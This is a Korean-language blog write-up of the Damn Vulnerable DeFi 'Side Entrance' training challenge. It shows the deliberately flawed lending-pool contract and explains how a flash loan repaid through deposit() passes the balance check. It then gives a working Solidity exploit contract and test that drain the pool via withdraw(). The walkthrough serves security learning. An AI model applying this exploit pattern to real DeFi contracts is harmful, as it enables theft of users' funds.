Challenge #4 - Side Entrance
A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.
It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.
The Challange
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (<https://damnvulnerabledefi.xyz>)
*/
contract SideEntranceLenderPool {
mapping(address => uint256) private balances;
error RepayFailed();
event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
}
이 문제의 목표는 토큰을 모두 탈취하는 것이다. 함수들을 보았을 때 딱히 취약점이 눈에 띄게 발견되지 않았고, 재진입 공
격처럼 함수들의 순서 로직을 이용한 버그를 이용해야겠다고 생각했다. 각 함수들을 살펴보자.
Deposit
이 함수는 사용자가 토큰을 풀에 입급하는 기능을 가진 함수이다. 보낸 사람의 주소의 잔액을 업데이트한다. 조금 눈여겨볼만한 점은 unchecked 문법을 사용하여 잔액을 업데이트한다. 이는 산술 overflow/underflow를 방지하면서도 gas를 절약할 수 있다.
- 참고로 unchecked 문법은 solidity 0.8.0 이상에서만 사용 가능하다.
Withdraw
이 함수는 사용자가 출금을 할 수 있게 하는 함수이다. 보낸 사람의 잔액을 조회한 후, 사용자의 잔액을 없애고, 보낸 사람에게 금액을 전송한다.
flashLoan
이 함수는 전 문제와 달리 고정 수수료도 없이, 무료 flashLoan이 가능하다. 계약 토큰의 잔액을 확인하고, 수신자에게 callback을 요청하고, 요청된 토큰을 값으로 보낸다. 그리고 조건문을 통하여 callback 수신자가 거래 전후의 계약 잔액을 비교하여 빌린 토큰을 상환하지 않았다면, revert되도록 한다.
Exploit
함수들의 논리 허점을 이용하여 순서를 이용한 공격을 해야한다. 처음에는 fallback 함수를 이용한 재진입 공격을 이용하려고, 매우 애를 썼다. 이는 fallback 함수에 집착한 결과였다. 그럼 어떻게 모든 토큰을 탈취할 수 있을까?
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
공격자가 악의적인 컨트랙트를 만들고, 안에 execute라는 함수가 있다면 어떻게 될까? msg.sender가 공격자이기 때문에 악의적인 컨트랙트 내부 함수가 실행된다.
이때 유효성 검사는 전에 저장된 balanceBefore과 후 잔액의 총액만 비교한다. execute 내부에서 돈을 만약 다시 pool에 deposit한다면 이 유효성 검사는 통과될 것이다.
시나리오를 세워 정리해보자면 아래와 같이 수행한다면 모든 토큰을 탈취할 수 있다.
- 공격자가 pool에게 flashLoan을 이용하여 1000 ETH를 대출한다.
- flashLoan 내부에서 execute 함수를 호출하는데, 악의적인 공격자 컨트랙트의 execute함수를 호출한다.
- 이때 execute 함수에서는 1000 ETH를 다시 pool에 deposit 시킨다.
- flashLoan 함수에서는 전체 잔액이 다시 update되었기 때문에 유효 검증을 통과한다.
- 다시 악의적인 컨트랙트로 돌아와 돈을 인출한다. ( withdraw 함수 사용 )
코드로 살펴보자.
Exploit Code
Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ISideEntranceLenderPool {
function flashLoan(uint256 amount) external;
function deposit() external payable;
function withdraw() external;
}
contract Exploit {
ISideEntranceLenderPool target;
address payable player;
constructor(address _target, address payable _player) {
target = ISideEntranceLenderPool(_target);
player = _player;
}
function exploit() external {
target.flashLoan(address(target).balance); // flash loan the entire ETH balance in the pool
target.withdraw();
player.transfer(address(this).balance);
}
function execute() external payable {
target.deposit{value: msg.value}();
}
receive() external payable {}
}
- flashloan_attack 함수가 flashLoan 함수를 호출한다.
- flashLoan 함수가 IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();를 호출한다.
- execute 함수는 deposit 함수를 호출하여, 대출 금액을 pool에 다시 입금한다.
- flashLoan 함수의 유효성 검사가 통과된다. 그리고 다시 flashloan_attack 함수로 돌아가 withdraw 함수가 실행된다.
- 토큰을 탈취한다.
Javascript Code
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
attack = await ( await ethers.getContractFactory('Exploit', player)).deploy(pool.address, player.address)
await attack.connect(player).exploit();
});
Exploit이라는 contract를 배포해 exploit 함수를 실행시킨다.

'Blockchain' 카테고리의 다른 글
Damn Vulnerable DeFi Challenge #6 - Selfie (0) | 2024.07.05 |
---|---|
Damn Vulnerable DeFi Challenge #5 - The Rewarder (1) | 2024.07.05 |
LayerZero 1-Day Analysis (0) | 2024.06.16 |
LZ Case Analyze (0) | 2024.05.27 |
CL-2023-01 (1) | 2024.05.13 |